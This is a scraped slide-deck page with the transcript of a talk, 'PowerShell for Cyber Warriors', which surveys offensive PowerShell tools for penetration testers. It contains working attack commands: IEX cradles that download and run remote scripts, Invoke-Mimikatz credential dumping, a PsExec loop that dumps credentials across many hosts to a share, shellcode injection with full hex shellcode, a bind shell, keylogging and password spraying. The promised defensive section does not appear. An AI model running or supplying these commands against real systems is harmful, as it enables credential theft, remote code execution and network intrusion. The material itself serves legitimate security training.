PowerShell for Cyber Warriors

Slides:



Advertisements
Similar presentations
This course is designed for system managers/administrators to better understand the SAAZ Desktop and Server Management components Students will learn.
Advertisements

Enabling Secure Internet Access with ISA Server
Chapter 17: WEB COMPONENTS
Lecture Materials for the John Wiley & Sons book: Cyber Security: Managing Networks, Conducting Tests, and Investigating Intrusions October 12, 2014 DRAFT1.
Hacking Techniques & Intrusion Detection Ali Al-Shemery arabnix [at] gmail.
16.1 © 2004 Pearson Education, Inc. Exam Planning, Implementing, and Maintaining a Microsoft® Windows® Server 2003 Active Directory Infrastructure.
70-290: MCSE Guide to Managing a Microsoft Windows Server 2003 Environment, Enhanced Chapter 9: Implementing and Using Group Policy.
Chapter 9 Chapter 9: Managing Groups, Folders, Files, and Object Security.
Hands-On Microsoft Windows Server 2003 Administration Chapter 7 Administering Web Resources in Windows Server 2003.
Hands-On Microsoft Windows Server 2003 Chapter 2 Installing Windows Server 2003, Standard Edition.
How Clients and Servers Work Together. Objectives Learn about the interaction of clients and servers Explore the features and functions of Web servers.
Guide to Operating System Security Chapter 2 Viruses, Worms, and Malicious Software.
MCTS Guide to Microsoft Windows Server 2008 Network Infrastructure Configuration Chapter 7 Configuring File Services in Windows Server 2008.
Sharepoint Portal Server Basics. Introduction Sharepoint server belongs to Microsoft family of servers Integrated suite of server capabilities Hosted.
Page 1 Sandboxing & Signed Software Paul Krzyzanowski Distributed Systems Except as otherwise noted, the content of this presentation.
1 Chap 10 Malicious Software. 2 Viruses and ”Malicious Programs ” Computer “Viruses” and related programs have the ability to replicate themselves on.
Windows This presentation is an amalgam of presentations by Mark Michael, Randy Marchany and Ed Skoudis. I have edited and added material. Dr. Stephen.
70-290: MCSE Guide to Managing a Microsoft Windows Server 2003 Environment, Enhanced Chapter 9: Implementing and Using Group Policy.
Penetration Testing Security Analysis and Advanced Tools: Snort.
Timothy Heeney| Microsoft Corporation. Discuss the purpose of Identity Federation Explain how to implement Identity Federation Explain how Identity Federation.
APT29 HAMMERTOSS Jayakrishnan M.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
MIS Week 2 Site:
Week #7 Objectives: Secure Windows 7 Desktop
JavaScript, Fourth Edition
Microsoft ® Official Course Module XA Using Windows PowerShell ®
Appendix A Starting Out with Windows PowerShell™ 2.0.
Module 7: Fundamentals of Administering Windows Server 2008.
9 Chapter Nine Compiled Web Server Programs. 9 Chapter Objectives Learn about Common Gateway Interface (CGI) Create CGI programs that generate dynamic.
Module 10: Monitoring ISA Server Overview Monitoring Overview Configuring Alerts Configuring Session Monitoring Configuring Logging Configuring.
2012 4th International Conference on Cyber Conflict C. Czosseck, R. Ottis, K. Ziolkowski (Eds.) 2012 © NATO CCD COE Publications, Tallinn 朱祐呈.
1 Chap 10 Virus. 2 Viruses and ”Malicious Programs ” Computer “Viruses” and related programs have the ability to replicate themselves on an ever increasing.
PowerShell Shenanigans Lateral Movement with PowerShell
Week 10-11c Attacks and Malware III. Remote Control Facility distinguishes a bot from a worm distinguishes a bot from a worm worm propagates itself and.
Module 6: Managing Client Access. Overview Implementing Client Access Servers Implementing Client Access Features Implementing Outlook Web Access Introduction.
Module 3 Configuring File Access and Printers on Windows 7 Clients.
Guide to MCSE , Second Edition, Enhanced1 The Windows XP Security Model User must logon with: Valid user ID Password User receives access token Access.
G CITRIXHACKIN. Citrix Presentation Server 4.5 New version is called XenApp/Server Common Deployments Nfuse classic CSG – Citrix Secure Gateway Citrix.
70-290: MCSE Guide to Managing a Microsoft Windows Server 2003 Environment, Enhanced Chapter 14: Windows Server 2003 Security Features.
Hacking Windows 9X/ME. Hacking framework Initial access physical access brute force trojans Privilege escalation Administrator, root privileges Consolidation.
Vulnerability Scanning Vulnerability scanners are automated tools that scan hosts and networks for known vulnerabilities and weaknesses Credentialed vs.
Protocols COM211 Communications and Networks CDA College Olga Pelekanou
Corey Hynes HynesITe, Inc Session Code: SRV317 Objectives Let you walk out of here, being able to run a script against an OU of computers, to make some.
Computer virus Speaker : 蔡尚倫.  Introduction  Infection target  Infection techniques Outline.
1 Objectives Discuss File Services in Windows Server 2008 Install the Distributed File System in Windows Server 2008 Discuss and create shared file resources.
Windows NT ® Security Management: Extending Windows NT 5.0 Security Management Tools, Part 2 Praerit Garg Program Manager Windows NT Security Microsoft.
Chapter 1 Real World Incidents Spring Incident Response & Computer Forensics.
Module 14: Advanced Topics and Troubleshooting. Microsoft ® Windows ® Small Business Server (SBS) 2008 Management Console (Advanced Mode) Managing Windows.
Page 1 Viruses. Page 2 What Is a Virus A virus is basically a computer program that has been written to perform a specific set of tasks. Unfortunately,
Planning Server Deployments Chapter 1. Server Deployment When planning a server deployment for a large enterprise network, the operating system edition.
Unit 2 Personal Cyber Security and Social Engineering Part 2.
PowerShell for Cyber Warriors
Chapter 7: Using Network Clients The Complete Guide To Linux System Administration.
PostExploitation CIS 5930/4930 Offensive Computer Security Spring 2014.
Common Network Penetration Testing Techniques Russel Van Tuyl.
11 DEPLOYING AN UPDATE MANAGEMENT INFRASTRUCTURE Chapter 6.
Tactical Meterpreter Scripting Carlos PerezDarkoperatorCarlos_perez[at]darkoperator.com DarkoperatorCarlos_perez[at]darkoperator.com.
Common System Exploits Tom Chothia Computer Security, Lecture 17.
ArcGIS for Server Security: Advanced
Hacking Windows.
Malware Reverse Engineering Process
World Wide Web policy.
Node.js Express Web Applications
Malware Reverse Engineering Process
Metasploit a one-stop hack shop
CIT 480: Securing Computer Systems
Chap 10 Malicious Software.
Web Application Penetration Testing ‘17
Chap 10 Malicious Software.
Mass Hunting and exploitation with powershell
Presentation transcript:

PowerShell for Cyber Warriors Image: http://www.gabrielmatteson.com/wp-content/uploads/2014/05/Powershell-Logo-01.png ABSTRACT: Powershell, the new hotness, is an interactive object-oriented command environment that has revolutionized the ability to interact with the Windows operating systems in a programmatic manner. This environment significantly increases the capabilities of administrators, attackers, defenders, and malware authors alike. This presentation introduces popular PowerShell tools and techniques used by penetration testers and blue team members. Tools range from in-memory only remote administration tools to Active Directory enumeration and from reverse engineering to incident response. Additionally, we will review a couple of pieces of malware that leverage PowerShell and provide information on detecting or defending against previously discussed attacks. If you're a CyberWarrior, this presentation will undoubtedly up your game by equipping you with knowledge on the almighty PowerShell. PowerShell for Cyber Warriors by Russel Van Tuyl

Who Am I? Security Analyst TN Air National Guard SANS MSISE Student Father of 2, Husband to 1 Russel.VanTuyl@gmail.com @Ne0nd0g A little information about me: -I’m a Security Analyst w Sword & Shield here in Knoxville. -I primarily do network vulnerability assessments and penetration testing -I’m a member of the TN ANG here in Knoxville as well -SANS Master of Science Information Security Engineering -You can reach me by email or at Twitter

Disclaimer DISCLAIMER Don’t believe anything I say; verify for yourself If I have something wrong, please let me know; I make mistakes just as everyone does

Outline Introduction to PowerShell Basics Module Loading PSRemoting Attack Tools Tool Suites powershell.exe Alternatives Agents Malware Forensic/Reverse Engineering Tools Defending Attacks

What is PowerShell? Image: http://sharepoint.rackspace.com/Article%20Images/PowerShell%20logo.png Ref: http://blogs.technet.com/b/heyscriptingguy/archive/2015/01/02/what-is-powershell.aspx Windows PowerShell is an interactive object-oriented command environment with scripting language features that utilizes small programs called cmdlets to simplify configuration, administration, and management of heterogeneous environments in both standalone and networked typologies by utilizing standards-based remoting protocols.

PowerShell Basics powershell.exe Built on .NET Framework Verb-Noun Tab Complete Alias Structured Data/Objects Syntax Highlighting (version 5) Released in 2006 on XP*/Vista/Server 2003 .ps1 Modules .psm1 Integrated Scripting Environment (ISE) Compile to .exe Powershell.exe replaces the need to use cmd.exe . You can first open cmd.exe and then run powershell.exe for an interactive session Powershell has full access to the .NET framework Commands on the system follow a Verb-Noun structure Have you ever tried to ‘ls’ on a Windows box? Well, it works just fine in PowerShell thanks to aliases PowerShell utilizes structured data objects. This allows you to better handle data. This way you don’t have to try and detect where the data you want is at in the output. Version 5 (Windows 10/Server 2016) comes with syntax highlighting PowerShell was first released in 2006 and installed by default on Windows Vista PowerShell scripts are saved into .ps1 files. It is important to note that you can’t double-click and run these .ps1 file PowerShell comes with a built-in IDE, called the PowerShell ISE PowerShell can be compiled to an .exe with tools such as PowerGUI or PS2EXE

PowerShell Basics Get-Help Get-Help is an essential command to know. Use it to find out more about any command you wish to run.

PowerShell Basics Get-Member Use the Get-Member cmdlet to get an objects methods, properties, and other attributes

Use Cases Powerful tool for interacting with Windows PSRemoting Why it is used Powerful tool for interacting with Windows PSRemoting Future SSH Integration Antivirus/Application Blacklisting Bypass Red Team Blue Team Malware In Memory only execution Image: http://www.redteamusa.com/images/lockedout.jpg Ref: http://blogs.msdn.com/b/powershell/archive/2015/06/03/looking-forward-microsoft-support-for-secure-shell-ssh.aspx Because of the ability to use the .Net library, write scripts, and interact with objects, PowerShell is an invaluable tool for interacting with Windows PSRemoting allows you to remotely access a system. You can also run a script from your local machine one time across many computer in a domain or network Powershell.exe is usually overlooked by antivirus and application restrictions; This makes it a great choice to use by attackers Red teams are using it for attack and Blue teams are using it for response; Malware is using it for evil Powershell code can be downloaded into memory and executed using the IEX download cradle; This prevents writing files to disk

PSRemoting Disabled by default Enable-PSRemoting –Force Trusted hosts 5985 (HTTP)/5986 (HTTPS) 47001 Invoke-Command Enter-PSSession A screen shot of establishing a PSRemoting session to 192.168.56.107 and subsequently running a few commands Must set trusted hosts on BOTH computers if not on a domain: Set-Item wsman:\localhost\client\trustedhosts * Ref: http://www.howtogeek.com/117192/how-to-run-powershell-commands-on-remote-computers/

Module & Script Loading Execution Policy The execution policy determines if PowerShell scripts can be run on a host. Change it to Unrestricted to run PowerShell scripts on a lab host. If you can’t change the execution policy, you can bypass it with powerShell.exe -ExecutionPolicy Bypass -File .runme.ps1 PowerShell modules (.psm1 files) can be imported using the Import-Module function. Additionally, .ps1 files can be imported using dot sourcing (. .\script.ps1). Ref: https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ Import-Module Dot Sourcing

IEX Download Cradle Download from anywhere SMB HTTP In-Memory No files on disk The IEX download cradle is an essential tool for downloading PowerShell scripts from a remote host into memory. You can terminate the command with an semicolon and immediately run a command from the script. IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.56.104/Powercat/powercat.ps1');powercat -h

PowerShell Tools - Attack PowerShellArsenal PowerShell-AD-Recon Fathomless PoshRat Metasploit DSInternals DSCompromised OWA-Toolkit PowerSploit Nishang PowerCat Inveigh Empire DarkObserver PowerShell Suite PowerMemory Empire - a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture PowerSploit - collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment PowerTools - a collection of PowerShell projects with a focus on offensive operations. https://github.com/PowerShellEmpire/PowerTools Kansa - A modular incident response framework Nishang - a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and penetration testing PowerCat – Netcat in PowerShell Inveight - LLMNR/NBNS spoofer PowerShellArsenal - a PowerShell module used to aid a reverse engineer Subvert-PE.ps1 - programmatically injecting shellcode into PE executables on disk http://www.fuzzysecurity.com/tutorials/20.html Now part of “PowerShell Suite” PowerMemory - Exploit the credentials present in files and memory Image: https://ms-vscode.gallery.vsassets.io/_apis/public/gallery/publisher/ms-vscode/extension/PowerShell/0.5.0/assetbyname/Microsoft.VisualStudio.Services.Icons.Default

PowerMemory Capabilities Grab Credentials from Memory Pierre-Alexandre Braeken - @pabraeken - https://github.com/giMini/PowerMemory/ Capabilities Grab Credentials from Memory Perform Active Directory Assessment Scan Service Network Flow of Operations Creates a memory dump Reads the memory dump Decrypts the memory dump Exfiltrate Does not inject into other processes Uses Microsoft Signed Binaries Uses WMI for remote dump Virtual Machine Snapshots Works on Windows 10/Server 2016 Uses PowerShell and WinDbg, a tool for debugging memory dumps. Ref: https://github.com/giMini/PowerMemory/blob/master/PREZ/HackFest2015.pptx https://github.com/giMini/PowerMemory/

PowerMemory Pierre-Alexandre Braeken - @pabraeken - https://github.com/giMini/PowerMemory/ A screen shot of the menu from the main application (left) and a screen shot of the Reveal Windows Memory Credentials from the .\PowerMemory\RWMC directory Ref: https://github.com/giMini/PowerMemory/blob/master/PREZ/HackFest2015.pptx https://github.com/giMini/PowerMemory/

PowerMemory Pierre-Alexandre Braeken - @pabraeken - https://github.com/giMini/PowerMemory/ The output file containing the clear-text credentials from a Windows 10 host Ref: https://github.com/giMini/PowerMemory/blob/master/PREZ/HackFest2015.pptx https://github.com/giMini/PowerMemory/ http://securityaffairs.co/wordpress/39721/hacking/powermemory-extract-credentials.html

PowerShell-AD-Recon Discover-PSInterestingServices Sean Metcalf - @PyroTek3 - https://github.com/PyroTek3/PowerShell-AD-Recon Discover-PSInterestingServices Discover network servers with interesting services without port scanning Discover-PSMSExchangeServers Discover Microsoft Exchange servers without port scanning Discover-PSMSSQLServers Discover Microsoft SQL servers without port scanning Find-PSServiceAccounts Discovers all user accounts configured with a ServicePrincipalName in the Active Directory domain or forest Get-DomainKerberosPolicy Get-PSADForestInfo Get-PSADForestKRBTGTInfo These modules can be used to query Active Directory (AD) to get information about network services to include the location of Exchange and SQL servers. Additionally, it can be used to get a list of all the service accounts. This can be leveraged to perform offline Kerberos Ticket cracking with Tim Medin’s Kerberoast Ref: https://github.com/PyroTek3/PowerShell-AD-Recon https://github.com/nidem/kerberoast

PowerShell-AD-Recon by Sean Metcalf @PyroTek3 Screen shot running the Discover-PSMSSQLServers and Find-PSServiceAccounts modules. Ref: https://github.com/PyroTek3/PowerShell-AD-Recon https://github.com/nidem/kerberoast

FTP w/ Powershell John Savill - http://windowsitpro.com/windows/ftp-using-powershell A screen shot of setting up a FTP connection and subsequently connecting to a FTP server. Import-Module PSFTP $FTPServer = 'ftp.host.com' $FTPUsername = 'username' $FTPPassword = 'password' $FTPSecurePassword = ConvertTo-SecureString -String $FTPPassword -asPlainText -Force $FTPCredential = New-Object System.Management.Automation.PSCredential($FTPUsername,$FTPSecurePassword) Set-FTPConnection -Credentials $FTPCredential -Server $FTPServer -Session MySession -UsePassive  $Session = Get-FTPConnection -Session MySession  Get-FTPChildItem -Session $Session -Path /htdocs #-Recurse Ref: http://windowsitpro.com/windows/ftp-using-powershell

DSInternals PowerShell Module Michael Grafnetter - @mgrafnetter - https://github.com/MichaelGrafnetter/DSInternals Offline AD Database Access: Get-ADDBAccount Get-ADDBDomainController Get-BootKey Get-ADDBBackupKey Get-ADDBSchemaAttribute Add-ADDBSidHistory Set-ADDBPrimaryGroup Set-ADDBDomainController Set-ADDBBootKey Remove-ADDBObject Online AD Database Access: Get-ADReplAccount Get-ADReplBackupKey Set-SamAccountPasswordHash Password Hash Calculation: ConvertTo-NTHash ConvertTo-LMHash ConvertTo-OrgIdHash Password Decryption: ConvertFrom-ADManagedPasswordBlob ConvertFrom-UnicodePassword ConvertTo-UnicodePassword ConvertFrom-GPPrefPassword ConvertTo-GPPrefPassword Misc: ConvertTo-Hex Save-DPAPIBlob Requires PowerShell v3 and .Net 4.5.1+ REF: https://github.com/MichaelGrafnetter/DSInternals https://www.dsinternals.com/en/list-of-cmdlets-in-the-dsinternals-module/

DSInternals – ntds.dit Extracting the ntds.dit file the DSInternals suite. Had to create installation media w/ ntdsutil prior for this to work. Ref: https://technet.microsoft.com/en-us/library/cc816574(v=ws.10).aspx https://www.dsinternals.com/en/dumping-ntds-dit-files-using-powershell/

DarkObserver Windows PowerShell domain scanning tool Ian Anderson - https://github.com/imander/DarkObserver Windows PowerShell domain scanning tool IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/imander/DarkObserver/master/darkobserver.ps1’) Ref: https://github.com/imander/DarkObserver

OWA-Toolkit https://github.com/Shellntel/OWA-Toolkit OTK-Init  A base cmd-let to produce an Exchange Web Service object Brute-EWS Brute force credentials by testing credentials against an Exchange Web Service Steal-GAL Enumerate and copy the Global Address List from an exposed Exchange Web Service Don’t have internal access to the Domain Controller? No problem, use OWA instead. Password spray with ‘Winter2015’ against all accounts Ref: http://www.shellntel.com/blog/2016/2/13/abusing-exchange-web-service https://github.com/Shellntel/OWA-Toolkit

Powercat https://github.com/besimorhino/powercat Powercat is simply netcat written in PowerShell. As previously mentioned, this is useful because it can be download from the internet and into memory. This is a screenshot of me creating a bind shell. -l Listen for a connection. -c Connect to a listener. -p The port to connect to, or listen on. -e Execute. (GAPING_SECURITY_HOLE) -ep Execute Powershell. -r Relay. Format: "-r tcp:10.1.1.1:443" -u Transfer data over UDP. -dns Transfer data over dns (dnscat2). -dnsft DNS Failure Threshold. -t Timeout option. Default: 60 -i Input: Filepath (string), byte array, or string. -o Console Output Type: "Host", "Bytes", or "String" -of Output File Path. -d Disconnect after connecting -rep Repeater. Restart after disconnecting -g Generate Payload. -ge Generate Encoded Payload -h Print the help message Ref: https://github.com/besimorhino/powercat

Powercat PowerShell Shell When I connect to the previously created PowerShell shell on the remote host, I have powershell.exe terminal access.

Inveigh Kevin Robertson - @kevin_robertson - https://github.com/Kevin-Robertson/Inveigh Like Python Responder, but in PowerShell. This tool will conduct NetBIOS and LLMNR style spoofing attacks on a network. The first command disables the host’s firewall. This is because many ports & services are opened up to handle the poisioned requests that will come back. This is essential to capturing credentials. The bottom of the image contains the HTTP NetNTLMv2 hash. This hash can’t be passed like traditional LM/NTLM hashes. However, it can be cracked. Ref: https://github.com/Kevin-Robertson/Inveigh http://www.irongeek.com/i.php?page=videos/bsidesknoxville2015/203-from-broadcast-to-totally-pwned-russel-van-tuyl-matt-smith

PowerTools PewPewPew PowerBreach PowerPick PowerUp PowerView Will Schroeder/Justin Warner - @harmj0y/@sixdub - https://github.com/PowerShellEmpire/PowerTools PewPewPew Scripts that utilize a common pattern to host a script on a PowerShell webserver, invoke the IEX download cradle to download/execute the target code and post the results back to the server, and then post-process any results. PowerBreach A backdoor toolkit that aims to provide the user a wide variety of methods to backdoor a system PowerPick This project focuses on allowing the execution of PowerShell functionality without the use of powershell.exe. Primarily this project uses.NET assemblies/libraries to start execution of the PowerShell scripts. PowerUp A PowerShell tool to assist with local privilege escalation on Windows systems. PowerView A PowerShell tool to gain network situational awareness on Windows domains. Ref: https://github.com/PowerShellEmpire/PowerTools

PowerView Misc Functions (21): Get-DomainSID - return the SID for the specified domain Convert-SidToName - converts a security identifier (SID) to a group/user name Get-Proxy - enumerates local proxy settings Get-UserProperty - returns all properties specified for users, or a set of user:prop names Find-InterestingFile - search a local or remote path for files with specific terms in the name Invoke-CheckLocalAdminAccess - check if the current user context has local administrator access to a specified host Net * Functions (26): Get-NetForestDomain - gets all domains for the current forest Get-NetDomainController - gets the domain controllers for the current computer's domain Get-NetUser - returns all user objects, or the user specified (wildcard specifiable) Get-NetComputer - gets a list of all current servers in the domain Get-NetGroupMember - gets a list of all current users in a specified domain group Get-NetFileServer - get a list of file servers used by current domain users GPO Functions (6): Get-NetGPO - gets all current GPOs for a given domain Get-DomainPolicy - returns the default domain or DC policy A listing of some of PowerView’s functions. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Get-DomainSID can be used to get the domain’s unique identifier; This can later be used for Golden Ticket creation and username enumeration Convert-SidToName can be used to find the username associated with the RID 500 account. Ref: https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

PowerView User-Hunting Functions (4): Invoke-UserHunter - finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines Invoke-StealthUserHunter - finds all file servers utilizes in user HomeDirectories, and checks the sessions one each file server, hunting for particular users Domain Trust Functions (5): Get-NetDomainTrust - gets all trusts for the current user's domain Invoke-MapDomainTrust - try to build a relational mapping of all domain trusts Meta Functions (7): Find-LocalAdminAccess - finds machines on the domain that the current user has local admin access to Get-ExploitableSystem - finds systems likely vulnerable to common exploits Invoke-EnumerateLocalAdmin - enumerates members of the local Administrators groups across all machines in the domain Ref: https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

PowerView Misc Functions Use the Misc functions to gather some domain information. The Domain’s SID can used to find accounts by a User’s SID. SID 500 is the built-in Administrator account. A Domain’s SID can also be used when crafting Golden/Silver Tickets. The Get-UserProperty function can be used to enumerate fields of a user’s OU properties such as the Description field. This field is often times used to store good information.

PowerView Get-NetUser Example output from the Get-NetUser function. This includes all of the fields of a user’s OU. Specefic areas of interest are: lastlogon – Lets you know if the account is still being used badpwdcount – The number of times the user has entered a bad password. Useful if you want to conduct a target brute-force attack pwdlastset – The date of when the password was set. If the password hasn’t been set in years, it could be weak

PowerView Get-NetGroupMember Use Get-NetGroupMember to enumerate all of the members of a group, such as the Enterprise Admins group.

PowerView GPO Functions Get-DomainPolicy tells me about the password requirements. Can be used to intelligently perform brute-force attacks.

PowerView Invoke-UserHunter When this function is run with NO parameters, it will automagically enumerate the domain for all domain admins. After it has a list of domain admins, it will search the network for places where that user is logged in. Perfect for when you’re trying to get your contact’s password. Local Admin check is great when you have an unprivileged user account. Often times that user will have local admin on their own computer(s). After you find it, you can login as local admin and steal other account’s passwords such as local admin RID 500 account or Mimikatz.

PowerSploit CodeExecution(5) - Execute code on a target machine. Matt Graber et al - https://github.com/mattifestation/PowerSploit CodeExecution(5) - Execute code on a target machine. Invoke-DllInjection Injects a Dll into the process ID of your choosing. Invoke-ReflectivePEInjection Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. Invoke-Shellcode Injects shellcode into the process ID of your choosing or within PowerShell locally. Invoke-WmiCommand Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. ScriptModification(4) - Modify and/or prepare scripts for execution on a compromised machine. Out-EncodedCommand Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. Out-EncryptedScript Encrypts text files/scripts. Persistence(5) - Add persistence capabilities to a PowerShell script Add-Persistence Add persistence capabilities to a script. AntivirusBypass(1) - AV doesn't stand a chance against PowerShell! Find-AVSignature Locates single Byte AV signatures utilizing the same method as DSplit from "class101". Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Matt Graeber Joe Bialek Jared Atkinson Will Schroeder Ref: https://github.com/mattifestation/PowerSploit

PowerSploit Exfiltration(13) - All your data belong to me! Functions Exfiltration(13) - All your data belong to me! Invoke-Mimikatz Reflectively loads Mimikatz 1.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. Get-Keystrokes Logs keys pressed, time and the active window. Get-GPPPassword Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. Get-TimedScreenshot A function that takes screenshots at a regular interval and saves them to a folder. Get-VolumeShadowCopy Lists the device paths of all local volume shadow copies. Mayhem(2) - Cause general mayhem with PowerShell. Set-MasterBootRecord Proof of concept code that overwrites the master boot record with the message of your choice. Set-CriticalProcess Causes your machine to blue screen upon exiting PowerShell. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Ref: https://github.com/mattifestation/PowerSploit

PowerSploit Functions Privesc (1) - Tools to help with escalating privileges on a target. PowerUp Clearing house of common privilege escalation checks, along with some weaponization vectors. Recon(4) - Tools to aid in the reconnaissance phase of a penetration test. Invoke-Portscan Does a simple port scan using regular sockets, based (pretty) loosely on nmap. Get-HttpStatus Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file. Invoke-ReverseDnsLookup Scans an IP address range for DNS PTR records. PowerView Series of functions that performs network and Windows domain enumeration and exploitation. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Ref: https://github.com/mattifestation/PowerSploit

PowerSploit Invoke-Shellcode Do a demonstration of generating shellcode with MSF Venom and subsequently using Powersploit’s Invoke-Shellcode to inject the code into a process. Generate shellcode with MSF Venom msfvenom -p windows/x64/exec CMD="calc.exe" EXITFUNC=thread -f powershell Import PowerSploit Import-Module C:\Tools\PowerSploit\PowerSploit.psm1 Get Explorer’s process (or any other process you want) Get-Process explorer Inject the shellcode Invoke-Shellcode -Verbose -ProcessID <Process ID> -Shellcode @(<hex shellcode>) EXAMPLE: Invoke-Shellcode -Verbose -ProcessID 2520 -Shellcode @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x48,0x8d,0x8d,0x1,0x1,0x0,0x0,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x0) Ref: Get-Help Invoke-Shellcode –full https://www.pentestgeek.com/penetration-testing/invoke-shellcode/ DEMO

PowerSploit Screenshot in case the demo doesn’t work MSFVenom Screenshot in case the demo doesn’t work Generate shellcode with msfvenom that executes a windows command to open calc.exe

PowerSploit Screenshot in case the demo doesn’t work Invoke-Shellcode Screenshot in case the demo doesn’t work Find the process you want to inject the shell code into. Use the Invoke-Shellcode function to inject the previously generated shell code. Notice the line “Do you wish to carry out your evil plans” near the bottom of the image?

PowerSploit Additional screenshots of some PowerSploit commands Out-EncodedCommand Additional screenshots of some PowerSploit commands Out-EncodedCommand can be used to encode a set of commands or an entire PowerShell script. Encoding is useful for all the reasons before when. One use case of particular interest is when handling characters that can’t easily be escaped or multiple quotation sets when embedding one command into another (i.e. when using cmd.exe).

PowerSploit Get-Keystrokes Using PowerSploit’s keyloger. I opened up Microsoft Edge and went to https://gmail.com and subsequently entered my username and password. If you look far enough down the in the log file, you will see them.

PowerSploit Invoke-Portscan Using PowerSploit’s port scanner. This is nice because you can download the port scanner into memory using the IEX download cradle. The top image shows progress bar that is displayed while the scan is running. The bottom image shows the results of the scan. I piped the scan’s output to Where-Object to limit results to only those hosts that are alive. Otherwise all hosts are shown with alive set to False.

Invoke-Mimikatz IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds A screenshot of the IEX download cradle being used to download InvokeMimikatz.ps1 its GitHub repository and then executed on a Windows 7 host. Clear-text creds are in the red box. http://is.gd/oeoFuI expanded is: https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

Mass Mimikatz Part 3 A blog post I wrote on doing Mimikatz en masse across a large network. This blog post outlines how I used a PowerShell ForEach loop to download Invoke-Mimikatz.ps1 with the IEX download cradle. The output is then saved to a network share. A python script was written to parse all the files. http://www.harmj0y.net/blog/powershell/dumping-a-domains-worth-of-passwords-with-mimikatz-pt-2/ http://carnal0wnage.attackresearch.com/2013/10/dumping-domains-worth-of-passwords-with.html https://www.swordshield.com/2015/05/dumping-a-domain-worth-of-passwords-with-mimikatz-part-3/ https://www.swordshield.com/2015/05/dumping-a-domain-worth-of-passwords-with-mimikatz-part-3/

Mass Mimikatz Part 3 ForEach ($h in Get-Content C:\hosts.txt){C:\PsExec.exe \\$h -d -e -u ACME\bob -p P@$$word1 -s cmd /c powershell -nop -command “& {IEX ((new-object net.webclient).downloadstring(‘\\172.16.1.205\data\Invoke-Mimikatz.ps1′));Invoke-Mimikatz -DumpCreds > \\172.16.1.205\data\%COMPUTERNAME%.txt}”} Powershell statement for Mass Mimikatz

Mass Mimikatz Part 3 https://bitbucket.org/swordshieldsec/parsers/src

